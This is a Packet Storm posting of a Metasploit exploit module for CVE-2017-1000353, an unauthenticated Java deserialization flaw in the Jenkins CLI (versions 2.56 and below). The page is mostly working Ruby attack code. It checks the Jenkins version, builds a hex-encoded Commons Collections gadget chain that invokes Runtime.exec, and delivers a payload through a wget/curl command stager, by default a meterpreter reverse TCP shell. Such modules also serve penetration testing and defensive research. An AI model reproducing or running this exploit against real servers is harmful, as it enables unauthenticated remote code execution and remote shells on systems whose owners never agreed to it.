what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Jenkins 2.56 CLI Deserialization / Code Execution

Jenkins 2.56 CLI Deserialization / Code Execution
Posted Sep 22, 2020
Authored by Shelby Pace, SSD | Site metasploit.com

An unauthenticated Java object deserialization vulnerability exists in the CLI component for Jenkins versions 2.56 and below. The readFrom method within the Command class in the Jenkins CLI remoting component deserializes objects received from clients without first checking / sanitizing the data. Because of this, a malicious serialized object contained within a serialized SignedObject can be sent to the Jenkins endpoint to achieve code execution on the target.

tags | exploit, java, code execution
advisories | CVE-2017-1000353
SHA-256 | 3729c358cb302e4f78e19a3ad5a83bfe54ed6e185ea35041abb6038c065373da

Jenkins 2.56 CLI Deserialization / Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
prepend Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Jenkins CLI Deserialization',
'Description' => %q{
An unauthenticated Java object deserialization vulnerability exists
in the CLI component for Jenkins versions `v2.56` and below.

The `readFrom` method within the `Command` class in the Jenkins
CLI remoting component deserializes objects received from clients without
first checking / sanitizing the data. Because of this, a malicious serialized
object contained within a serialized `SignedObject` can be sent to the Jenkins
endpoint to achieve code execution on the target.
},
'License' => MSF_LICENSE,
'Author' =>
[
'SSD', # PoC
'Unknown', # Vulnerability discovery
'Shelby Pace' # Metasploit module
],
'References' =>
[
[ 'URL', 'https://www.jenkins.io/security/advisory/2017-04-26/'],
[ 'URL', 'https://ssd-disclosure.com/ssd-advisory-cloudbees-jenkins-unauthenticated-code-execution/'],
[ 'CVE', '2017-1000353']
],
'Privileged' => false,
'Platform' => 'linux',
'Arch' => [ ARCH_X86, ARCH_X64 ],
'Targets' =>
[
[
'Linux',
{
'Platform' => 'linux',
'CmdStagerFlavor' => [ 'wget', 'curl' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'DefaultOptions' => { 'Payload' => 'linux/x86/meterpreter/reverse_tcp' }
}
]
],
'DisclosureDate' => '2017-04-26',
'Notes' =>
{
'Stability' => [ CRASH_SAFE ],
'Reliability' => [ UNRELIABLE_SESSION ],
'SideEffects' => [ IOC_IN_LOGS ]
},
'DefaultTarget' => 0
)
)

register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [ true, 'The base path to Jenkins', '/' ])
]
)
end

def check
login_uri = normalize_uri(target_uri.path, 'login')
login_res = send_request_cgi(
'method' => 'GET',
'uri' => login_uri
)

return Exploit::CheckCode::Unknown('Did not receive a response from the server') unless login_res

/Jenkins\s+ver\.\s+(?<version>\d+(?:\.\d+)*)/ =~ login_res.body
return Exploit::CheckCode::Safe('Version of Jenkins cannot be found.') unless version

vers_no = Gem::Version.new(version)
return Exploit::CheckCode::Appears("Jenkins version #{version} detected") if vers_no < Gem::Version.new('2.54')

Exploit::CheckCode::Detected
end

def exploit
print_status('Sending payload...')
execute_cmdstager(noconcat: true)
end

def format_payload(payload_data)
formatted_payload = '74'
formatted_payload << payload_data.length.to_s(16).rjust(4, '0')
formatted_payload << payload_data.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join
end

def execute_command(cmd, _opts = {})
sess_uuid = SecureRandom.uuid
sess_uri = normalize_uri(target_uri.path, 'cli')
preamble = '<===[JENKINS REMOTING CAPACITY]===>rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAH4='

send_request_cgi(
{
'uri' => sess_uri,
'method' => 'POST',
'headers' =>
{
'Side' => 'download',
'Session' => sess_uuid
}
},
nil, false
) # don't wait for response, and don't disconnect

cmd = build_obj(cmd)
send_request_cgi(
{
'uri' => sess_uri,
'method' => 'POST',
'data' => preamble + [ cmd ].pack('H*'),
'headers' =>
{
'Side' => 'upload',
'Session' => sess_uuid
}
}
)
sleep(2) # give buffer time between requests for processing
end

def build_obj(obj_data)
payload_data = '00000000aced00057372002f6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e5265666572656e63654d61'
payload_data << '701594ca03984908d7030000787077110000000000000001003f40000000000010737200286a6176612e7574696c2e636f6e63757272656e742'
payload_data << 'e436f70794f6e577269746541727261795365744bbdd092901569d70200014c0002616c74002b4c6a6176612f7574696c2f636f6e6375727265'
payload_data << '6e742f436f70794f6e577269746541727261794c6973743b7870737200296a6176612e7574696c2e636f6e63757272656e742e436f70794f6e5'
payload_data << '77269746541727261794c697374785d9fd546ab90c303000078707704000000027372002a6a6176612e7574696c2e636f6e63757272656e742e'
payload_data << '436f6e63757272656e74536b69704c697374536574dd985079bdcff15b0200014c00016d74002d4c6a6176612f7574696c2f636f6e637572726'
payload_data << '56e742f436f6e63757272656e744e6176696761626c654d61703b78707372002a6a6176612e7574696c2e636f6e63757272656e742e436f6e63'
payload_data << '757272656e74536b69704c6973744d6170884675ae061146a70300014c000a636f6d70617261746f727400164c6a6176612f7574696c2f436f6'
payload_data << 'd70617261746f723b7870707372001a6a6176612e73656375726974792e5369676e65644f626a65637409ffbd682a3cd5ff0200035b0007636f'
payload_data << '6e74656e747400025b425b00097369676e617475726571007e000e4c000c746865616c676f726974686d7400124c6a6176612f6c616e672f537'
payload_data << '472696e673b7870757200025b42acf317f8060854e002000078700000050daced0005737200116a6176612e7574696c2e48617368536574ba44'
payload_data << '859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6'
payload_data << 'e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a'
payload_data << '6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e7'
payload_data << '32e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f61706163'
payload_data << '68652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6'
payload_data << 'e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d6954'
payload_data << '72616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d657'
payload_data << '23b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d8'
payload_data << '3418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436'
payload_data << 'f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c'
payload_data << '616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e7'
payload_data << '32e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f'
payload_data << '6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d547'
payload_data << '97065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c'
payload_data << '02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a9902000078700'
payload_data << '00000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078'
payload_data << '707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106'
payload_data << 'a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013'
payload_data << '75720013'
payload_data << '5b4c6a6176612e6c616e672e537472696e673b'
payload_data << 'add256e7e91d7b47'
payload_data << '020000'
payload_data << '7870'
payload_data << '00000001'

obj_data = format_payload(obj_data)
payload_data << obj_data

payload_data << '740004'
payload_data << '65786563' # exec
payload_data << '7571007e0'
payload_data << '01b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c756578'
payload_data << '7200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700'
payload_data << '507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f40000000000000770800000010000000007878'
payload_data << '787571007e00110000002f302d02147ed1e347cfebac075517d658628ac128211d8895021500945aaa3b69fb24194cdf22bcee9fc9c5e317266'

# This index is the length of the serialized
# object that belongs to the SignedObject
start_arr = payload_data.index('050daced')
end_arr = payload_data.index('787571007e')
new_arr_len = ((end_arr + 2) / 2) - ((start_arr + 4) / 2)
payload_data[start_arr, 4] = new_arr_len.to_s(16).rjust(4, '0')

payload_data << '0740003445341737200116a6176612e6c616e672e426f6f6c65616ecd207280d59cfaee0200015a000576616c75657870017078737200316f72'
payload_data << '672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e7365742e4c6973744f726465726564536574fcd39ef6fa1ced5302000'
payload_data << '14c00087365744f726465727400104c6a6176612f7574696c2f4c6973743b787200436f72672e6170616368652e636f6d6d6f6e732e636f6c6c'
payload_data << '656374696f6e732e7365742e416273747261637453657269616c697a61626c655365744465636f7261746f72110ff46b96170e1b03000078707'
payload_data << '37200156e65742e73662e6a736f6e2e4a534f4e41727261795d01546f5c2872d20200025a000e657870616e64456c656d656e74734c0008656c'
payload_data << '656d656e747371007e0018787200186e65742e73662e6a736f6e2e41627374726163744a534f4ee88a13f4f69b3f82020000787000737200136'
payload_data << 'a6176612e7574696c2e41727261794c6973747881d21d99c7619d03000149000473697a65787000000001770400000001740004617364667878'
payload_data << '7371007e001e00000000770400000000787871007e00207371007e00027371007e000577040000000271007e001a71007e00097871007e00207078'
end
end
Login or Register to add favorites

File Archive:

December 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    2 Files
  • 2
    Dec 2nd
    12 Files
  • 3
    Dec 3rd
    0 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    14 Files
  • 6
    Dec 6th
    18 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close